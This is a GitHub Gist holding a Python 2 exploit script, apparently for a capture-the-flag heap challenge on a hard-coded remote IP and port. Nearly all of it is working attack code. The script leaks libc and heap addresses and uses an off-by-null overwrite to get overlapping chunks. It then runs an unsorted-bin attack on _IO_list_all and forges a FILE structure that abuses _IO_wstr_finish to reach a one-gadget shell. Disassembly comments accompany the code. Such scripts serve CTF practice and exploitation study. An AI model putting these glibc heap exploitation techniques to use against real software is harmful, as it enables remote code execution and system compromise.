Created
November 8, 2017 14:42
-
-
Save peternguyen93/d541cf00289252eb518e40348d0f2235 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# Author : peternguyen | |
from Pwn import * | |
# p = Pwn(mode=1,port=8887) | |
p = Pwn(mode=1,host='52.193.196.17',port=56746) | |
def select(op): | |
p.read_until('Your choice: ') | |
p.sendint(op) | |
return op | |
def add_heap(heap): | |
select(1) | |
p.read_until('Data :') | |
p.send(heap) | |
def free_heap(idx): | |
select(2) | |
p.read_until('Index :') | |
p.sendint(idx) | |
def add_ghost(magic,dat): | |
select(3) | |
p.read_until('Magic :') | |
p.sendint(magic) | |
p.read_until('Description :') | |
p.send(dat) | |
def watch_ghost(magic): | |
select(4) | |
p.read_until('Magic :') | |
p.sendint(magic) | |
return p.read_until('$$$$$$') | |
def free_ghost(): | |
select(5) | |
return p.read_until('$$$$$$') | |
def exploit(**kargs): | |
global p # use global var | |
if kargs.has_key('p'): | |
if kargs['p'].__class__.__name__ == 'Pwn': # is pwn object | |
p = kargs['p'] | |
p.connect() | |
# leak libc | |
add_heap('A'*168) | |
add_heap('B'*168) | |
add_heap('C'*160 + '\n') | |
free_heap(1) | |
add_ghost(0x133737,'A') | |
out = watch_ghost(0x133737) | |
# raw_input('>>') | |
print repr(out) | |
# raw_input('>>') | |
# local libc heap | |
# idx = out.find('\xf7') | |
# libc = out[idx-3:idx + 1] + '\xff\x7f' | |
# remote libc heap | |
idx = out.find('\x7f') | |
libc = out[idx-5:idx + 1] | |
print repr(libc) | |
libc = p.unpack(libc) - 0x3c1b41 | |
# print hex(libc) | |
# raw_input('>>') | |
# libc = p.unpack(libc) - 0x3c4c41 | |
# libc = p.unpack(libc) - 0x3c1b41 | |
print 'libc:',hex(libc) | |
io_list_all = libc + 0x3c2500 | |
# io_list_all = libc + 0x3c5520 | |
# buf_base = libc + 0x3c5548 + 16 | |
# magic = libc + 0xf1117 | |
magic = libc + 0xcde41 | |
# clear everything | |
free_ghost() | |
free_heap(0) | |
free_heap(2) | |
# leak heap base | |
add_heap('1'*168) | |
add_ghost(0x133737,'Z'*71) | |
add_heap('B'*168) | |
add_heap('C'*160 + '\n') | |
free_heap(0) | |
free_heap(1) | |
add_heap('2'*7 + '\n') | |
add_heap('C'*8 + '\n') | |
free_ghost() | |
free_heap(2) | |
free_heap(1) | |
free_heap(0) | |
add_ghost(0x133737,'A'*8) | |
out = watch_ghost(0x133737) | |
idx = out.find('$') | |
heap = p.unpack(out[idx - 6:idx]) - 0x110 | |
print 'Heap:',hex(heap) | |
add_heap('3'*160 + '\n') | |
free_ghost() | |
free_heap(0) | |
# exploit here | |
add_heap('4'*168) | |
add_heap('B'*168) | |
add_heap('C'*160 + p.pack(0xb0)[:7] + '\n') | |
add_ghost(0x133737,'M'*71) | |
free_heap(2) | |
free_heap(0) | |
free_heap(1) | |
raw_input('>') | |
fake_free_chunk = p.pA( | |
heap + 0xd0 - 0x18, | |
heap + 0xd0 - 0x10, | |
heap + 0xb0 | |
) | |
fake_free_chunk = fake_free_chunk.ljust(160,'5') | |
# off byte null overrite free_chunk->size = 0x160 -> 0x100 | |
add_heap('6'*168) | |
add_heap(fake_free_chunk + p.pack(0xb0)[:7] + '\n') | |
fake_next_size = p.pA(0x171,0xa1) | |
fake_next_size = fake_next_size.ljust(160,'K') | |
add_heap(fake_next_size + '\n') | |
free_ghost() | |
# malloc_consolidate think ghost->prev_size = 0x160 is correct size | |
# and consolidate with heap_1 | |
# heap_1 is now overllaping with av->top | |
free_heap(2) | |
free_heap(0) | |
add_ghost(0x13337,'8'*71) | |
fake_ghost = 'A'*48 | |
fake_ghost+= p.pack(heap + 0x1d0 - 0x18)#p.pack(0x424242)#p.pack(heap + 0xc0) | |
fake_ghost = fake_ghost.ljust(0x40,'A') | |
fake_ghost+= p.pA( | |
0x60,0x111 | |
) | |
fake_ghost = fake_ghost.ljust(160,'X') | |
add_heap(fake_ghost + '\n') | |
fake_next_size = '9'*0x40 | |
fake_next_size+= p.pA( | |
0xb0,0, | |
0xb0,0x1001 | |
) | |
fake_next_size = fake_next_size.ljust(160,'R') | |
add_heap(fake_next_size + '\n') | |
# teardown ghost to smallbin[4] | |
free_ghost() | |
free_heap(1) | |
fake_unsorted_chunk = p.pA( | |
heap + 0xd0 - 0x18, | |
heap + 0xd0 - 0x10, | |
heap + 0xb0 | |
) | |
fake_unsorted_chunk = fake_unsorted_chunk.ljust(0x50,'K') | |
fake_unsorted_chunk+= p.pA(0x60,0x60) | |
fake_unsorted_chunk = fake_unsorted_chunk.ljust(160,'K') | |
add_heap(fake_unsorted_chunk + p.pack(0xb0)[:6]+ '\n') | |
# overwrite unsorted_bin->bck | |
free_heap(2) | |
fake_next_size = 'W'*0x18 | |
fake_next_size+= p.pack(magic) | |
fake_next_size = fake_next_size.ljust(0x50,'W') | |
fake_next_size+= p.pA( | |
0xb0,0x51 | |
) | |
fake_next_size+= p.pA(2,100) | |
fake_next_size.ljust(160,'N') | |
add_heap(fake_next_size + '\n') | |
free_heap(1) | |
add_ghost(0xb0,'G'*64 + p.pack(0xb0)[:7]) | |
pad1 = 'Y'*0x50 | |
pad1+= p.pA(0x60,0xb1) | |
pad1 = pad1.ljust(160,'F') | |
add_heap(pad1 + '\n') | |
free_heap(1) | |
free_ghost() | |
# free_heap(2) | |
# vtable call _IO_wstr_finish to abuse | |
# fp->xxxx() to get shellcode | |
# 0x00007ffff7a848e0 <+0>: push rbx | |
# 0x00007ffff7a848e1 <+1>: mov rax,QWORD PTR [rdi+0xa0] | |
# 0x00007ffff7a848e0 <+0>: push rbx | |
# 0x00007ffff7a848e1 <+1>: mov rax,QWORD PTR [rdi+0xa0] | |
# 0x00007ffff7a848e8 <+8>: mov rbx,rdi | |
# 0x00007ffff7a848eb <+11>: mov rdi,QWORD PTR [rax+0x30] | |
# 0x00007ffff7a848ef <+15>: test rdi,rdi | |
# 0x00007ffff7a848f2 <+18>: je 0x7ffff7a84907 <_IO_wstr_finish+39> | |
# 0x00007ffff7a848f4 <+20>: test BYTE PTR [rbx+0x74],0x8 | |
# 0x00007ffff7a848f8 <+24>: jne 0x7ffff7a84907 <_IO_wstr_finish+39> | |
# 0x00007ffff7a848fa <+26>: call QWORD PTR [rbx+0xe8] => rbx is FILE structer | |
# 0x00007ffff7a84900 <+32>: mov rax,QWORD PTR [rbx+0xa0] | |
# 0x00007ffff7a84907 <+39>: mov QWORD PTR [rax+0x30],0x0 | |
# 0x00007ffff7a8490f <+47>: mov rdi,rbx | |
# 0x00007ffff7a84912 <+50>: xor esi,esi | |
# 0x00007ffff7a84914 <+52>: pop rbx | |
# 0x00007ffff7a84915 <+53>: jmp 0x7ffff7a83340 <__GI__IO_wdefault_finish> | |
vtable = libc + 0x3bdbd0 - 0x18 # _IO_wstr_finish | |
print "vtable:",hex(vtable) | |
concac = p.pA(0x414141414,0x424242) | |
concac+= p.pA(0x414141414,vtable) | |
concac+= p.pA(0x414141414,magic)*3 # => call [rbx + 0xe8] | |
concac+= p.pA( | |
0x60,0x111, | |
0x414141414, | |
# buf_base - 0x10 | |
io_list_all - 0x10 | |
) | |
concac = concac.ljust(160,'A') | |
add_heap(concac + '\n') | |
free_heap(2) | |
select(1) | |
p.io() | |
exploit() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment